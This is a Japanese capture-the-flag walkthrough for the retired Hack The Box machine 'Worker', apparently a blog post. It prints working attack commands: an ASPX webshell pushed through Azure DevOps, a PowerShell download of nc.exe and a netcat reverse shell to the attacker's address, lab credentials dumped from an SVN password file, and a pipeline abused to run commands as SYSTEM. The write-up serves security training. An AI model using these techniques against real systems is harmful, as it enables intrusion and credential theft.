本稿では、Hack The Boxにて提供されている Retired Machines の「Worker」に関する攻略方法(Walkthrough)について検証します。
Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。
マシンの詳細
エグゼクティブサマリー
戦術(Tactic)
- 「TA0007: 探索(Discovery)」, 環境を把握するための手順を確認します。
- 「TA0006: 認証情報アクセス(Credential Access)」, アカウントとパスワードを盗用するための手順を確認します。
- 「TA0004: 特権エスカレーション(Privilege Escalation)」, より高いレベルの権限取得を狙います。
- 「TA0002: 実行(Execution)」, 悪意あるコードを実行します。
ツール
- nmap
- svn
- Azure DevOps
- WebShell: cmdasp.aspx
- winPEASx64.exe
- Evil-WinRM
詳細手順
ネットワークサービススキャン
nmap
IPアドレス 10.10.10.203
をworker.htb
として、/etc/hosts
に追加します。その上で、nmapを使用し、ポートスキャンを実行します。
kali@kali:~$ nmap -Pn -T4 -A -v worker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 22:24 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating Connect Scan at 22:24
Scanning worker.htb (10.10.10.203) [1000 ports]
Discovered open port 80/tcp on 10.10.10.203
Discovered open port 3690/tcp on 10.10.10.203
Completed Connect Scan at 22:24, 15.07s elapsed (1000 total ports)
Initiating Service scan at 22:24
Scanning 2 services on worker.htb (10.10.10.203)
Completed Service scan at 22:24, 6.41s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.203.
Initiating NSE at 22:24
Completed NSE at 22:24, 3.79s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.82s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.21s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
NSE: Script Post-scanning.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.88 seconds
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
ポート番号 | サービス | バージョン |
---|---|---|
80/tcp | http | Microsoft IIS httpd 10.0 |
3690/tcp | svnserve | Subversion |
HTTPサービスのスキャン
Firefox
ブラウザを使って、worker.htb
の80/tcp
にアクセスしてみます。初期設定のInternet Information Services(IIS)
ウェブページが表示されます。
svnserveのスキャン
svn
コマンドを使って、worker.htb
の3690/tcp
にアクセスしてみます。
kali@kali:~$ svn list svn://worker.htb
dimension.worker.htb/
moved.txt
moved.txt
ファイルをダウンロードし、その内容を確認します。
kali@kali:~$ svn export svn://worker.htb/moved.txt
A moved.txt
Export complete.
kali@kali:~$ cat moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb
// The Worker team :)
新たなホスト名devops.worker.htb
を/etc/hosts
ファイルに追加しておきます。
kali@kali:~$ cat /etc/hosts | grep 203
10.10.10.203 worker.htb devops.worker.htb
Firefox
ブラウザを使って、devops.worker.htb
の80/tcp
にアクセスしてみます。認証画面が表示されます。この先に進むための情報はまだ得られていません。
svn
コマンドを使って、探索を進めます。info
オプションにて一覧表示させた結果、nathen
というユーザー名を得ることができました。
kali@kali:~$ svn info svn://worker.htb
Path: .
URL: svn://worker.htb
Relative URL: ^/
Repository Root: svn://worker.htb
Repository UUID: 2fc74c5a-bc59-0744-a2cd-8b7d1d07c9a1
Revision: 5
Node Kind: directory
Last Changed Author: nathen
Last Changed Rev: 5
Last Changed Date: 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020)
svn
コマンドのlog
オプションを表示させます。
kali@kali:~$ svn log svn://worker.htb
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line
Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line
Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line
-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line
Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line
First version
------------------------------------------------------------------------
worker.htb
のリポジトリからディレクトリツリーをダウンロードします。
kali@kali:~$ svn export -r 2 svn://worker.htb --force
アクセス権の取得
ダウンロードしたdeploy.ps1
の内容を確認します。
kali@kali:~$ cat deploy.ps1
$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
ユーザー名とパスワードを得ることができました(ログイン後にUser profile
からDisplay Name
も確認できます)。
ユーザー名 | パスワード | Display Name |
---|---|---|
nathen | wendel98 | Nathalie Henley |
Firefox
ブラウザを使って、devops.worker.htb
の80/tcp
にアクセスしてみます。認証情報としてnathen/wendel98
を使用します。
ログインに成功しました。
SmartHotel360
プロジェクトの内容について確認します。
新たにspectral
というホスト名の存在が確認できます。/etc/hosts
ファイルに追加しておきます。
kali@kali:~$ cat /etc/hosts | grep 203
10.10.10.203 worker.htb devops.worker.htb spectral.worker.htb
webshellのアップロード
kali
上には、ASPX形式のwebshell
が予め用意されています。
kali@kali:~$ locate cmdasp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx/cmdasp.aspx
Azure DevOps Repos
Reposを使ってファイル登録を行う手順は次のとおりです。
- 作業用の
branch
をきる -
Commit
してプッシュする -
Pull Request
をかけてマージする
Azure DevOps Repos
を使ってcmdasp.aspx
をアップロードします。
+New branch
をクリックします。ブランチ名、ブランチの元を選択してCreate branch
をクリックします。
今回はブランチ名をwebshell
、ブランチの元をmaster
、Work Itemの指定はProduct Backlog Item 12
としました。
Upload file(s)
をクリックし、cmdasp.aspx
ファイルをCommit
します。
webshell
ブランチの内容をmaster
ブランチにマージします。
Pull requests
を選択し、New pull request
ボタンをクリックします。
New Pull Request
にて[webshell] into [master]
が指定されていることを確認し、Create
ボタンをクリックします。
Approve
ボタンをクリックし、Complete
ボタンをクリックします。
Complete merge
ボタンをクリックします。以上でmaster
ブランチへのマージは完了です。cmdasp.aspx
ファイルがアップロードされました。
ユーザーシェルの取得
webシェルによるリバースシェルの設置
Firefox
にてcmdasp.aspx
を実行します。
http://spectral.worker.htb/cmdasp.aspx
cmdasp.aspx
にてリバースシェルを設置するためのコマンドを実行します。
worker.htb
にC:¥Temp
フォルダを作成します。
mkdir C:\temp
powershell
を使い、worker.htb
にnc.exe
をダウンロードします。コマンド構文は次のとおりです。
なお、Kali
上で予めWebサーバー(python -m SimpleHTTPServer 8081
)を立ち上げておく必要があります。
powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/nc.exe -Outfile C:\\temp\\nc.exe
NetCatによるリバースシェルの接続
ポート 1234にてリバースシェルを待ち受けます。
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
cmdasp.aspx
にてリバースシェルを起動します。コマンド構文は次のとおりです。
C:\temp\nc.exe -e powershell.exe 10.10.14.13 1234
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.203] 50394
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>
システム探索
PS C:\windows\system32\inetsrv> cd c:\temp
cd c:\temp
PS C:\temp> powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/winPEASx64.exe -Outfile C:\\temp\\winPEASx64.exe
powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/winPEASx64.exe -Outfile C:\\temp\\winPEASx64.exe
PS C:\temp> ./winPEASx64.exe
[+] Network Shares
ADMIN$ (Path: C:\Windows)
C$ (Path: C:\)
IPC$ (Path: )
W$ (Path: W:\)
PS C:\temp> cd w:\
cd w:\
PS W:\> dir
dir
Directory: W:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020-06-16 18:59 agents
d----- 2020-03-28 14:57 AzureDevOpsData
d----- 2020-04-03 11:31 sites
d----- 2020-06-20 16:04 svnrepos
PS W:\> cd sites
cd sites
PS W:\sites> dir
dir
Directory: W:\sites
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020-07-20 23:43 alpha.worker.htb
d----- 2020-07-20 23:43 cartoon.worker.htb
d----- 2020-04-03 12:27 dimension.worker.htb
d----- 2020-07-20 23:43 lens.worker.htb
d----- 2020-07-20 23:43 solid-state.worker.htb
d----- 2020-08-21 18:14 spectral.worker.htb
d----- 2020-07-20 23:43 story.worker.htb
d----- 2020-07-20 23:43 twenty.worker.htb
PS W:\svnrepos\www\conf> type passwd
type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.
[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday
PS W:\svnrepos\www\conf>
WinRM
nmap
コマンドにて、WinRM
サービス(5985/tcp
)の状況を確認します。結果、サービスが稼働していることが確認できます。
kali@kali:~$ nmap -p 5985 worker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-19 04:25 EDT
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.20s latency).
PORT STATE SERVICE
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
そこで、Evil-WinRM
ツールを介して、worker.htb
サーバーで稼働しているWinRM
サービスに接続し、インタラクティブなPowerShell
を確立します。
確立したシェルにてuser.txt
ファイルを取得します。
|ユーザー名|パスワード|
|:---|:---|:---|
|robisl|wolves11|
kali@kali:~/evil-winrm$ ./evil-winrm.rb -i 10.10.10.203 -u robisl -p wolves11
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\robisl\Documents> hostname; whoami
Worker
worker\robisl
*Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\robisl\Desktop> dir
Directory: C:\Users\robisl\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/18/2020 4:23 PM 34 user.txt
![PartsUnlimited.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/363c79e2-b9d6-6fc0-b0d9-fd602faf1c81.png)
*Evil-WinRM* PS C:\Users\robisl\Desktop> type user.txt
b2a1e328399ff4dba46a9661c7311f08
Azure DevOps
robisl/wolves11
アカウントにて、devops.worker.htb
へ接続します。
Pipelines
のBuilds
を選択し、New pipeline
ボタンをクリックします。
azure-pipelines.yml
コードにおいて、echo Hello, world!
をwhoami
に書き換えます。さらにpool: 'Default'
の記述を削除します。
コードの編集を終えたら、Save and run
ボタンをクリックします。このとき、Create a new branch for this commit and start a pull request.
を選択します。
Run a one-line script
のView detailed logs
を確認します。whoami
コマンドの結果、nt authority\system
権限にて動作していることが確認できました。
type C:\Users\Administrator\Desktop\root.txt
参考資料
- Hack The Box Forums 「Official Worker Discussion」
- mstakaha1113 「Azure DevOps とは?」
- mstakaha1113 「Azure DevOps Repos(リポ) を使ってみる」
- mstakaha1113 「Azure DevOps Pipelines(パイプライン)の超概要」